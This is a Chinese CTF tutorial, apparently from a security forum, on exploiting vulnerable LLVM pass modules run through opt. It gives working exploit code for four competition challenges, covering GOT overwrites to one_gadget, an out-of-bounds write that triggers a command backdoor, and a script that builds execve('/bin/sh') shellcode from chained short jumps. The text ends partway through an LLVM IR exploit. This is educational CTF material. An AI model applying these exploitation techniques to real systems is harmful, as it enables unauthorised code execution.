LLVM PASS PWN 总结
2022-9-11 18:4:23 Author: 看雪学苑(查看原文) 阅读量:24 收藏


本文为看雪论坛精华文章

看雪论坛作者ID:winmt


前言

近期的比赛里出现了两次LLVM PASS PWN类的题目(CISCN初赛和强网杯),但是自己一直没去研究。最近刚开学还算比较闲,就看了一下LLVM PASS PWN类的题目,这篇文章记录一下自己对此类题目的总结吧。


LLVM PASS 简介

LLVM是C++编写的构架编译器的框架系统,可用于优化以任意程序语言编写的程序。
LLVM Pass可用于对代码进行优化或者对代码插桩(插入新代码),LLVM的核心库中提供了一些Pass类可以继承,通过实现它的一些方法,可以对传入的LLVM IR进行遍历并操作。
LLVM IR即代码的中间表示,有三种形式:
  1. .ll 格式:人类可以阅读的文本
  2. .bc 格式:适合机器存储的二进制文件
  3. 内存表示
下面给出.ll格式和.bc格式生成及相互转换的常用指令清单:
.c -> .llclang -emit-llvm -S a.c -o a.ll.c -> .bc: clang -emit-llvm -c a.c -o a.bc.ll -> .bc: llvm-as a.ll -o a.bc.bc -> .ll: llvm-dis a.bc -o a.ll.bc -> .s: llc a.bc -o a.s


准备工作及注意点

需要安装CTF题目中常用的三个版本的clang及LLVM:
sudo apt install clang-8sudo apt install llvm-8 sudo apt install clang-10sudo apt install llvm-10 sudo apt install clang-12sudo apt install llvm-12
opt是LLVM的优化器和分析器,可加载指定的模块,对输入的LLVM IR或者LLVM字节码进行优化或分析。CTF题目一般会给出所需版本的opt文件(可用./opt --version查看版本)或者在README文档中告知opt版本。安装好llvm后,可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件(一般不开PIE保护)。
需要注意的是,最好使用题目所给opt同版本的clang生成ll或bc文件。如:题目所给的文件是opt-8,就最好使用clang-8 -emit-llvm -S exp.c -o exp.ll命令。
LLVM PASS类题目都会给出一个xxx.so,即自定义的LLVM PASS模块,漏洞点就自然会出现在其中。我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令加载模块并启动LLVM的优化分析(其中-xxx是xxx.so中注册的PASS的名称,README文档中一般会给出,也可以通过逆向PASS模块得到)。需要注意的是,若题目给了opt文件,就用题目指定的opt文件启动LLVM并调试(如命令./opt-8 ...),直接使用opt-8 ...命令是用的系统安装的opt,可能会和题目所给的有不同。
在打远程的时候,与内核和QEMU逃逸的题类似:将exp.ll或exp.bc通过base64加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR传给LLVM运行。


尝试编写第一个LLVM PASS

参考官方文档:https://llvm.org/docs/WritingAnLLVMPass.html
这里魔改了一下官方文档中给出的Hello Pass,加入了一些CTF题中常见的LLVM语法:
// Hello.cpp#include "llvm/Pass.h"#include "llvm/IR/Function.h"#include "llvm/IR/Constants.h"#include "llvm/IR/BasicBlock.h"#include "llvm/IR/Instructions.h"#include "llvm/Support/raw_ostream.h"#include "llvm/IR/LegacyPassManager.h"#include "llvm/Transforms/IPO/PassManagerBuilder.h"using namespace llvm; namespace {  struct Hello : public FunctionPass {    static char ID;    Hello() : FunctionPass(ID) {}    bool runOnFunction(Function &F) override {      errs() << "Hello: ";      errs().write_escaped(F.getName()) << '\n';      SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();      for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){         SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();         SymbolTableList<Instruction>::const_iterator instEnd  = bbIter->end();         for(; instIter != instEnd; ++instIter){            errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "\n";            if (instIter->getOpcode() == 56)            {                if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) {                    errs() << call_inst->getCalledFunction()->getName() << "\n";                    for (int i = 0; i < instIter->getNumOperands()-1; i++)                    {                        if (isa<ConstantInt>(call_inst->getOperand(i)))                        {                            errs() << "Operand " << i << " = " << dyn_cast<ConstantInt>(call_inst->getArgOperand(i))->getZExtValue() << "\n";                        }                    }                }            }         }      }      return false;    }  };} char Hello::ID = 0; // Register for optstatic RegisterPass<Hello> X("Hello", "Hello World Pass"); // Register for clangstatic RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,  [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {    PM.add(new Hello());  });
通过如下命令,可将其编译为LLVMHello.so模块:
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
上述代码中的Hello结构体继承了LLVM核心库中的FunctionPass类,并重写了其中的runOnFunction函数(一般的CTF题都是如此)。runOnFunction函数在LLVM遍历到每一个传入的LLVM IR中的函数时都会被调用。
下面解释一下上述代码中的一些常用LLVM语法:
1、getName()函数用于获取当前runOnFunction正处理的函数名。
2、第一个for循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll文件中,不同基本块之间会有换行)遍历,第二个for循环是对每个基本块中的指令遍历。
3、getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符:
...HANDLE_OTHER_INST(56, Call   , CallInst   )  // Call a function...
4、当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用B,getCalledFunction()函数就是用于获取此处B函数的名称。
5、getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()即get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数。
6、再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于call和invoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)。
7、if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt)。
8、static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称。
下面写一个用于测试的程序:
// test.c#include <stdio.h>#include <unistd.h> int main(){    char name[0x10];    puts("Please tell me your name:");    read(0, name, 0x10);    printf("Hello: ");    write(1, name, 0x10);}
通过clang -emit-llvm -S test.c -o test.ll命令将其生成为LLVM IR(笔者本地的clang版本为10.0.0-4ubuntu1):
; ModuleID = 'test.c'source_filename = "test.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [26 x i8] c"Please tell me your name:\00", align 1@.str.1 = private unnamed_addr constant [8 x i8] c"Hello: \00", align 1 ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i32 @main() #0 {  %1 = alloca [16 x i8], align 16  %2 = call i32 @puts(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))  %3 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0  %4 = call i64 @read(i32 0, i8* %3, i64 16)  %5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))  %6 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0  %7 = call i64 @write(i32 1, i8* %6, i64 16)  ret i32 0} declare dso_local i32 @puts(i8*) #1 declare dso_local i64 @read(i32, i8*, i64) #1 declare dso_local i32 @printf(i8*, ...) #1 declare dso_local i64 @write(i32, i8*, i64) #1 attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0}!llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"clang version 10.0.0-4ubuntu1 "}
接着,通过opt -load ./LLVMHello.so -Hello test.ll命令运行,得到如下结果:
Hello: mainOpcodeName = alloca NumOperands = 1OpcodeName = call NumOperands = 2putsOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4readOperand 0 = 0Operand 2 = 16OpcodeName = call NumOperands = 2printfOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4writeOperand 0 = 1Operand 2 = 16OpcodeName = ret NumOperands = 1
读者可结合上述内容再好好理解一下LLVM IR和LLVM PASS的相关语法。


逆向分析so模块

一般来说,CTF题也都像上面的示例程序一样,重写了FunctionPass类中的runOnFunction函数,那么拿到一个so模块,该如何定位到重写的runOnFunction函数呢?
如上图,用IDA对so模块逆向分析,在IDA中搜索vtable,定位到虚表后,虚表最后的一项sub_C880就是重写的runOnFunction函数,漏洞点一般就在其中。
至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位:
例如,上图中圈出的字符串就是此so模块注册的PASS名称,不同的so模块这里显示的可能会略有不同,但都能看出PASS名称。
当然,由于LLVM是C++所写,读者在做LLVM的题之前,也应当对C++程序的逆向分析有所了解。


gdb调试方法

接下来介绍一下如何用gdb调试LLVM的题。
首先用gdb调试opt并用set args设置参数传入,然后在main函数下断点再跑起来即可:
不过,opt并不会一开始就将so模块加载进来,而是在下图所示的call指令(在call了一堆llvm初始化相关函数后的第一个call)执行完之后,才会加载so模块:
下图圈出来的就是so模块的基地址(高版本opt会显示在内存分布表的下方),直接用这个基地址加上对应偏移就可以得到so模块中的汇编指令地址了,也就能下断点了。
值得一提的是,opt是通过下面几张图展示的这条调用链来执行重写的runOnFunction函数的:




红帽杯-2021 simpleVM

用上述介绍的方法确定PASS名为VMPass,重写的runOnFunction函数是sub_6830。
当函数名为o0o0o0o0时,会最终进入sub_6B80函数。
其中,当在o0o0o0o0函数中调用pop(),push(),store(),load(),add(),min()函数的时候都各自定义了不同的操作。
add()和min()是一对函数,会通过第一个参数确定所要操作的全局变量,然后将第二个参数的值加上或减去。
store()和load()也是一堆函数,会将两个全局变量中的一个看作地址,并将地址中的值给另一个全局变量(load()任意地址读漏洞)或是将另一个全局变量中的值存放到这个地址中(store()任意地址写漏洞)。
由于opt一般是不会开PIE保护的,故这里可以考虑先利用任意地址读漏洞通过opt中任意一个函数的got表拿到libc地址,并用add和min函数对其修改,再利用任意地址写漏洞来劫持opt中的某个got表为one_gadget即可。
简单说一下如何确定改哪个got表为one_gadget能打通:在上文中给出了从main函数调用到重写的runOnFunction函数的调用链,我们将<main+11507>处的call跳过,之后调用的函数的got表都能改,调试下如何改能满足one_gadget条件即可。
笔者测试的环境为Ubuntu 20.04,对应libc-2.31 9.9版本,exp如下:
// clang-8 -emit-llvm -S exp.c -o exp.llvoid add(int num, long long val);void min(int num, long long val);void load(int num);void store(int num); void o0o0o0o0(){    add(1, 0x77E100);    load(1);    min(2, 0x9a6d0);    add(2, 0xe3afe);    add(1, 0x870);    store(1);}


CISCN-2021 satool

重写的runOnFunction函数为sub_19D0,PASS名为SAPass。
首先,由于是小端序,容易看出会对函数B4ckDo0r进行操作:
但是,接下来的代码比较难看懂。仔细分析后,可以发现其中有大量对LLVM IR合法性的判断和报错信息的输出,这些其实都是可以去掉的,因为我们正常生成的LLVM IR都是合法的。
这题反编译的其他一些地方也比较奇怪,可能需要配合一些调试才能搞清楚。
通过调试,可以知道if ( !(unsigned int)std::string::compare(&v89, "save") )这类语句都是判断是否在B4ckDo0r中调用了某个函数(如save()),并对其进行一系列操作。此外,如-1431655765 * (unsigned int)((unsigned __int64)((char *)&v15[3 * v18 + -3 * NumTotalBundleOperands] - v20) >> 3) == 2这类语句的左侧就是取调用的这个函数的参数个数。
如下对save函数操作的有效部分中,通过调试可以确定v25和v30就是传入的两个参数,之后会将其均复制入分配的0x20大小的堆块中,由此也可以推断出其类型应该为char *:
由上图可知,byte_2040f8是堆块地址,stealkey会将堆块中的值(首八字节)给byte_204100变量:
在对stealkey函数操作的过程中,经调试,此处的getSExtValue取的是其第一个参数的值,然后会将堆块中原有的值加上这个参数:
最后,很明显,可以通过run函数,将堆块中的值作为函数指针直接执行:
因此,思路就很显然了,通过申请的堆块中残留的libc地址加上某个偏移到one_gadget,然后直接run就行了。
本机libc是glibc 2.31-9.9版本,下个断点在malloc(0x18)前,查看一下堆块布局:
可见,只要取走tcache里0x20的一个堆块,再申请的0x20的堆块就会从smallbin里取了,也就会有libc地址残留了(main_arena+112)。
由以上分析,可写出如下exp:
// clang-8 -emit-llvm -S exp.c -o exp.llvoid save(char *a, char *b);void stealkey();void fakekey(long long x);void run(); void B4ckDo0r(){    save("\n", "\n");    save("", "\n");    stealkey();    fakekey(-0x1ecbf0+0xe3afe);    run();}


强网杯-2022 yakagame

本题重写的runOnFunction函数为sub_C880,PASS名称为ayaka。
首先,本题会对gamestart函数进行优化操作:
可以看到在对调用fight函数的操作中,当score指针指向的值大于0x12345678,就可以调用到后门函数:
后门函数如下图,只要控制好cmd指针指向的字符串,就可以执行任意命令了:
如何触发后门函数呢?weaponlist[]数组是char类型的,即单字节,就算比boss值要大,其差值也不可能大于0x12345678。
继续往后看,后面逆向也都不难,merge函数可以将一个weaponlist的值加到另一个上,destroy可以将指定weaponlist清零,upgrade可以将所有weaponlist的值都加上某一个数值。
接着,会有四个奇怪的函数,像是拼音,也不知道啥意思:wuxiangdeyidao,zhanjinniuza,guobapenhuo,tiandongwanxiang可以对cmd字符串中每个字符都进行同样的操作。由此可以想到,可通过这四个函数对cmd字符串原有的内容解密成某个命令。
cmd开始是由src复制过来的,其中内容如下所示:
可以看到其中第二个和第七个字符一样,而那四个函数每次又是对所有字符做同样的操作,因此不难联想到最后解密成的命令很可能是cat flag,写个脚本爆破一下即可。不过这题实际上也不用如此,继续对后面进行分析就知道了。
后面就是一个else条件分支,也就是说当调用的函数不是上面提及的所有函数的时候,就会进入这个分支。这里用了C++ STL里的map,map可在任意类型的值之间建立映射关系,并且会按关键字从小到大排序。如:map["abc"] = 123就将abc这个字符串与123这个数值间建立了映射关系,并且在通过迭代器遍历map的时候,关键字abc会在关键字abd之前遍历到。
在这个else分支中,会先遍历map,查找是否有调用的这个函数名作为key,其第一个参数作为value的映射关系。若是有,则会将weaponlist[]数组下标对应map中此映射关系位置的值改为这个value。若没有,则会将这个新映射关系加入map中。
我们注意到,此处的v33是有符号的char类型,其范围是-128~127,故当map中映射关系很多的时候,v33会是负数,此处也就存在一个数组下标越界的漏洞了。
如上图,可以看到cmd指针和score指针都在weaponlist之前,故可以通过这个数组下标越界漏洞,修改score指针的最后一字节,使其错位,从而指向很大的数字,触发后门函数。
由于opt没开PIE保护,故直接将cmd指针指向opt中的某个字符串末尾的sh即可:
最终,可写出exp如下:

// clang-8 -emit-llvm -S exp.c -o exp.llvoid winmt000(int x);void winmt001(int x);void winmt002(int x);void winmt003(int x);void winmt004(int x);void winmt005(int x);void winmt006(int x);void winmt007(int x);void winmt008(int x);void winmt009(int x);void winmt010(int x);void winmt011(int x);void winmt012(int x);void winmt013(int x);void winmt014(int x);void winmt015(int x);void winmt016(int x);void winmt017(int x);void winmt018(int x);void winmt019(int x);void winmt020(int x);void winmt021(int x);void winmt022(int x);void winmt023(int x);void winmt024(int x);void winmt025(int x);void winmt026(int x);void winmt027(int x);void winmt028(int x);void winmt029(int x);void winmt030(int x);void winmt031(int x);void winmt032(int x);void winmt033(int x);void winmt034(int x);void winmt035(int x);void winmt036(int x);void winmt037(int x);void winmt038(int x);void winmt039(int x);void winmt040(int x);void winmt041(int x);void winmt042(int x);void winmt043(int x);void winmt044(int x);void winmt045(int x);void winmt046(int x);void winmt047(int x);void winmt048(int x);void winmt049(int x);void winmt050(int x);void winmt051(int x);void winmt052(int x);void winmt053(int x);void winmt054(int x);void winmt055(int x);void winmt056(int x);void winmt057(int x);void winmt058(int x);void winmt059(int x);void winmt060(int x);void winmt061(int x);void winmt062(int x);void winmt063(int x);void winmt064(int x);void winmt065(int x);void winmt066(int x);void winmt067(int x);void winmt068(int x);void winmt069(int x);void winmt070(int x);void winmt071(int x);void winmt072(int x);void winmt073(int x);void winmt074(int x);void winmt075(int x);void winmt076(int x);void winmt077(int x);void winmt078(int x);void winmt079(int x);void winmt080(int x);void winmt081(int x);void winmt082(int x);void winmt083(int x);void winmt084(int x);void winmt085(int x);void winmt086(int x);void winmt087(int x);void winmt088(int x);void winmt089(int x);void winmt090(int x);void winmt091(int x);void winmt092(int x);void winmt093(int x);void winmt094(int x);void winmt095(int x);void winmt096(int x);void winmt097(int x);void winmt098(int x);void winmt099(int x);void winmt100(int x);void winmt101(int x);void winmt102(int x);void winmt103(int x);void winmt104(int x);void winmt105(int x);void winmt106(int x);void winmt107(int x);void winmt108(int x);void winmt109(int x);void winmt110(int x);void winmt111(int x);void winmt112(int x);void winmt113(int x);void winmt114(int x);void winmt115(int x);void winmt116(int x);void winmt117(int x);void winmt118(int x);void winmt119(int x);void winmt120(int x);void winmt121(int x);void winmt122(int x);void winmt123(int x);void winmt124(int x);void winmt125(int x);void winmt126(int x);void winmt127(int x);void winmt128(int x);void winmt129(int x);void winmt130(int x);void winmt131(int x);void winmt132(int x);void winmt133(int x);void winmt134(int x);void winmt135(int x);void winmt136(int x);void winmt137(int x);void winmt138(int x);void winmt139(int x);void winmt140(int x);void winmt141(int x);void winmt142(int x);void winmt143(int x);void winmt144(int x);void winmt145(int x);void winmt146(int x);void winmt147(int x);void winmt148(int x);void winmt149(int x);void winmt150(int x);void winmt151(int x);void winmt152(int x);void winmt153(int x);void winmt154(int x);void winmt155(int x);void winmt156(int x);void winmt157(int x);void winmt158(int x);void winmt159(int x);void winmt160(int x);void winmt161(int x);void winmt162(int x);void winmt163(int x);void winmt164(int x);void winmt165(int x);void winmt166(int x);void winmt167(int x);void winmt168(int x);void winmt169(int x);void winmt170(int x);void winmt171(int x);void winmt172(int x);void winmt173(int x);void winmt174(int x);void winmt175(int x);void winmt176(int x);void winmt177(int x);void winmt178(int x);void winmt179(int x);void winmt180(int x);void winmt181(int x);void winmt182(int x);void winmt183(int x);void winmt184(int x);void winmt185(int x);void winmt186(int x);void winmt187(int x);void winmt188(int x);void winmt189(int x);void winmt190(int x);void winmt191(int x);void winmt192(int x);void winmt193(int x);void winmt194(int x);void winmt195(int x);void winmt196(int x);void winmt197(int x);void winmt198(int x);void winmt199(int x);void winmt200(int x);void winmt201(int x);void winmt202(int x);void winmt203(int x);void winmt204(int x);void winmt205(int x);void winmt206(int x);void winmt207(int x);void winmt208(int x);void winmt209(int x);void winmt210(int x);void winmt211(int x);void winmt212(int x);void winmt213(int x);void winmt214(int x);void winmt215(int x);void winmt216(int x);void winmt217(int x);void winmt218(int x);void winmt219(int x);void winmt220(int x);void winmt221(int x);void winmt222(int x);void winmt223(int x);void winmt224(int x);void winmt225(int x);void winmt226(int x);void winmt227(int x);void winmt228(int x);void winmt229(int x);void winmt230(int x);void winmt231(int x);void winmt232(int x);void winmt233(int x);void winmt234(int x);void winmt235(int x);void winmt236(int x);void winmt237(int x);void winmt238(int x);void winmt239(int x);void winmt240(int x); void fight(int x); void gamestart(){    winmt000(0);    winmt001(0);    winmt002(0);    winmt003(0);    winmt004(0);    winmt005(0);    winmt006(0);    winmt007(0);    winmt008(0);    winmt009(0);    winmt010(0);    winmt011(0);    winmt012(0);    winmt013(0);    winmt014(0);    winmt015(0);    winmt016(0);    winmt017(0);    winmt018(0);    winmt019(0);    winmt020(0);    winmt021(0);    winmt022(0);    winmt023(0);    winmt024(0);    winmt025(0);    winmt026(0);    winmt027(0);    winmt028(0);    winmt029(0);    winmt030(0);    winmt031(0);    winmt032(0);    winmt033(0);    winmt034(0);    winmt035(0);    winmt036(0);    winmt037(0);    winmt038(0);    winmt039(0);    winmt040(0);    winmt041(0);    winmt042(0);    winmt043(0);    winmt044(0);    winmt045(0);    winmt046(0);    winmt047(0);    winmt048(0);    winmt049(0);    winmt050(0);    winmt051(0);    winmt052(0);    winmt053(0);    winmt054(0);    winmt055(0);    winmt056(0);    winmt057(0);    winmt058(0);    winmt059(0);    winmt060(0);    winmt061(0);    winmt062(0);    winmt063(0);    winmt064(0);    winmt065(0);    winmt066(0);    winmt067(0);    winmt068(0);    winmt069(0);    winmt070(0);    winmt071(0);    winmt072(0);    winmt073(0);    winmt074(0);    winmt075(0);    winmt076(0);    winmt077(0);    winmt078(0);    winmt079(0);    winmt080(0);    winmt081(0);    winmt082(0);    winmt083(0);    winmt084(0);    winmt085(0);    winmt086(0);    winmt087(0);    winmt088(0);    winmt089(0);    winmt090(0);    winmt091(0);    winmt092(0);    winmt093(0);    winmt094(0);    winmt095(0);    winmt096(0);    winmt097(0);    winmt098(0);    winmt099(0);    winmt100(0);    winmt101(0);    winmt102(0);    winmt103(0);    winmt104(0);    winmt105(0);    winmt106(0);    winmt107(0);    winmt108(0);    winmt109(0);    winmt110(0);    winmt111(0);    winmt112(0);    winmt113(0);    winmt114(0);    winmt115(0);    winmt116(0);    winmt117(0);    winmt118(0);    winmt119(0);    winmt120(0);    winmt121(0);    winmt122(0);    winmt123(0);    winmt124(0);    winmt125(0);    winmt126(0);    winmt127(0);    winmt128(0);    winmt129(0);    winmt130(0);    winmt131(0);    winmt132(0);    winmt133(0);    winmt134(0);    winmt135(0);    winmt136(0);    winmt137(0);    winmt138(0);    winmt139(0);    winmt140(0);    winmt141(0);    winmt142(0);    winmt143(0);    winmt144(0);    winmt145(0);    winmt146(0);    winmt147(0);    winmt148(0);    winmt149(0);    winmt150(0);    winmt151(0);    winmt152(0);    winmt153(0);    winmt154(0);    winmt155(0);    winmt156(0);    winmt157(0);    winmt158(0);    winmt159(0);    winmt160(0);    winmt161(0);    winmt162(0);    winmt163(0);    winmt164(0);    winmt165(0);    winmt166(0);    winmt167(0);    winmt168(0);    winmt169(0);    winmt170(0);    winmt171(0);    winmt172(0);    winmt173(0);    winmt174(0);    winmt175(0);    winmt176(0);    winmt177(0);    winmt178(0);    winmt179(0);    winmt180(0);    winmt181(0);    winmt182(0);    winmt183(0);    winmt184(0);    winmt185(0);    winmt186(0);    winmt187(0);    winmt188(0);    winmt189(0);    winmt190(0);    winmt191(0);    winmt192(0);    winmt193(0);    winmt194(0);    winmt195(0);    winmt196(0);    winmt197(0);    winmt198(0);    winmt199(0);    winmt200(0);    winmt201(0);    winmt202(0);    winmt203(0);    winmt204(0);    winmt205(0);    winmt206(0);    winmt207(0);    winmt208(0);    winmt209(0);    winmt210(0);    winmt211(0);    winmt212(0);    winmt213(0);    winmt214(0);    winmt215(0);    winmt216(0);    winmt217(0);    winmt218(0);    winmt219(0);    winmt220(0);    winmt221(0);    winmt222(0);    winmt223(0);    winmt224(0);    winmt225(0);    winmt226(0);    winmt227(0);    winmt228(0);    winmt229(0);    winmt230(0);    winmt231(0);    winmt232(0x6B);    winmt233(0x69);    winmt234(0x44);    winmt235(0x00);    winmt236(0);    winmt237(0);    winmt238(0);    winmt239(0);    winmt240(0x90);     winmt240(0x90);    winmt232(0x6B);    winmt233(0x69);    winmt234(0x44);    winmt235(0x00);     fight(0);}


CISCN-2022 satool

这题没去符号,重写的runOnFunction函数就叫'anonymous namespace'::MBAPass::runOnFunction,LLVM PASS的名称是mba。
首先,很容易注意到如下几行代码:
先是将this[4]段的权限改为可读可写,然后执行handle函数,再将此段权限改为可读可执行,然后执行callCode函数:
这里直接执行了this[4]段上的shellcode。
通过调试,可以知道this[4]段初始化全是0xc3,也就对应ret指令。因此,思路其实很显然,通过handle函数,往this[4]段上写入shellcode,然后跳转执行即可。此题对函数名没有要求,任何函数都能被同样地进行这些操作。
如上图,这题是倒序对基本块中的指令进行处理的,getTerminator函数是取末尾的指令,第一个if判断末尾指令的第一个操作数是否是常数,第二个else if判断末尾指令的第一个操作数是否为函数的参数,如果都不是,说明是变量,那就进入到最后else的分支。
先分析一下出题人自定义的几个往this[4]段写汇编指令的函数:
1.writeMovImm64函数
很明显,this[5]是存放着目前汇编指令写到了何处的指针。当writeMovImm64函数的第二个参数为0时,写入的汇编指令是0x480xB8加上第三个参数作为立即数,当writeMovImm64函数的第二个参数为1时,写入的汇编指令是0x480xBB加上第三个参数作为立即数。
测试了一下,得到writeMovImm64(this, 0, val)是写入movabs rax, val指令,writeMovImm64(this, 1, val)是写入movabs rbx, val指令,其中val可以是八字节数,共十字节。
2.writeInc函数
同理,可分析出是写入inc rax指令,三字节。
3.writeOpReg函数
同理,可分析出是写入add rax, rbx指令,三字节。
4.writeRet函数
同理,可分析出是写入ret指令,一字节。
再回到else分支中,首先写入了movabs rax, 0指令,v30是this[4]段首地址加上0xff0后的地址,定义了两个C++ STL的stack,其中v25存放一个数,之后可用来控制正负,初始值为1,v26存放着操作数,首先压进栈了最后一条指令ret i64 %xxx中的操作数xxx(即一个变量)。然后进入了一个while循环,当写入的汇编指令长度大于0xff0就会退出循环,或者当v26的栈为空时,会写入一个ret指令,然后跳转循环。
然后,在while循环中,每次会弹出两个栈的栈顶元素,然后再通过v26栈弹出的变量,找到LLVM IR中对应这个变量操作的指令行。接着,获取了这行指令的操作符,只能为13(add)或15(sub),这个在/usr/include/llvm-xx/llvm/IR/Instruction.def可查到。之后,又取了这行指令的两个操作数,如果操作数val是常数:若为±1,则写入inc rax指令,否则写入movabs rbx, val(*v22); add rax, rbx指令,其中v22是从v25栈顶取出的数,默认为1。如果操作数不是常数也非参数,就说明是个变量,那么就压入栈中。
如果操作符是sub,那么就将从v25栈顶取出的数v22取反,然后再执行一遍上述过程,这样之后加上第二个操作数val乘上v22的结果就相当于减去val了。
至此,本题核心部分基本都逆向完成了。然而,我们只能往this[4]段写入指定的几个指令,没法直接写入可拿到权限的shellcode。注意到,当我们往this[4]段写入超过0xff0长度几个字节也是可以的,不过在写完之后会直接退出while循环,也就不会在最后写入ret指令了,但是由于this[4]段初始都是ret指令,占一个字节,所以即使有字节超出,最后仍然是ret指令,执行完写入的汇编指令也可以回去,进行第二次汇编指令的读入。
于是我们想到,可以第一次先向this[4]段写入0xff0个字节加上超过几个字节,让超过的几个字节中存在某个跳转指令,然后第二次再向this[4]段写入指令到第一次超出的字节中的跳转指令之前,这样最后就能成功执行第一次超出字节中的跳转指令了。
这里我们采用短跳转指令(jmp short xxx)比较方便,其中xxx是相对于这条短跳转指令的偏移(范围是-128~127),也就是无条件跳转到此偏移的位置。jmp short对应的机器码是0xEB,后面再加上一个字节的偏移(负数用补码)即可,一个短跳转指令共两个字节。
我们肯定是想最后跳转到shellcode上的,但是shellcode改写在哪里呢?我们可控的部分只有每条movabs rbx, xxx指令中xxx位置的八个字节,于是我们可以在这些地方写入一行行的shellcode,并用nop空指令补全六位以后,在之后写上两个字节的短跳转指令,跳转到下一行shellcode即可,这样就能顺利地执行到任意shellcode了,如下图:
至于具体的构造方式,其实随意怎么样都行,这里就不展开说了,直接给出生成shellcode的脚本:
from pwn import*context(os = 'linux', arch = 'amd64') shellcode = [    "mov edi, 0x68732f6e",    "shl rdi, 24",    "mov ebx, 0x69622f",    "add rdi, rbx",    "push rdi",    "push rsp",    "pop rdi",    "xor rsi, rsi",    "xor rdx, rdx",    "push 59",    "pop rax",    "syscall"] for sc in shellcode:    print(u64(asm(sc).ljust(6, b'\x90') + b'\xEB\xEB')) print(u16(b'\xEB\xE4')) # 最后超出0xff0字节部分的跳转指令
由于这题的LLVM IR中指令的操作符只能是add或sub,故不能用C语言直接编译生成LLVM IR文件,不然会有很多其他的操作符。所以建议先用C语言写两个空函数,再通过clang-12对其编译生成ll文件,然后直接在ll文件中仿照之前的题目手写LLVM IR即可。
最终写出的exp.ll如下:
; ModuleID = 'exp.c'source_filename = "exp.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload1(i64 %0) #0 {  %2 = add nsw i64 %0, 58603  %3 = add nsw i64 %2, 1024  %4 = add nsw i64 %3, 1024  %5 = add nsw i64 %4, 1024  %6 = add nsw i64 %5, 1024  %7 = add nsw i64 %6, 1024  %8 = add nsw i64 %7, 1024  %9 = add nsw i64 %8, 1024  %10 = add nsw i64 %9, 1024  %11 = add nsw i64 %10, 1024  %12 = add nsw i64 %11, 1024  %13 = add nsw i64 %12, 1024  %14 = add nsw i64 %13, 1024  %15 = add nsw i64 %14, 1024  %16 = add nsw i64 %15, 1024  %17 = add nsw i64 %16, 1024  %18 = add nsw i64 %17, 1024  %19 = add nsw i64 %18, 1024  %20 = add nsw i64 %19, 1024  %21 = add nsw i64 %20, 1024  %22 = add nsw i64 %21, 1024  %23 = add nsw i64 %22, 1024  %24 = add nsw i64 %23, 1024  %25 = add nsw i64 %24, 1024  %26 = add nsw i64 %25, 1024  %27 = add nsw i64 %26, 1024  %28 = add nsw i64 %27, 1024  %29 = add nsw i64 %28, 1024  %30 = add nsw i64 %29, 1024  %31 = add nsw i64 %30, 1024  %32 = add nsw i64 %31, 1024  %33 = add nsw i64 %32, 1024  %34 = add nsw i64 %33, 1024  %35 = add nsw i64 %34, 1024  %36 = add 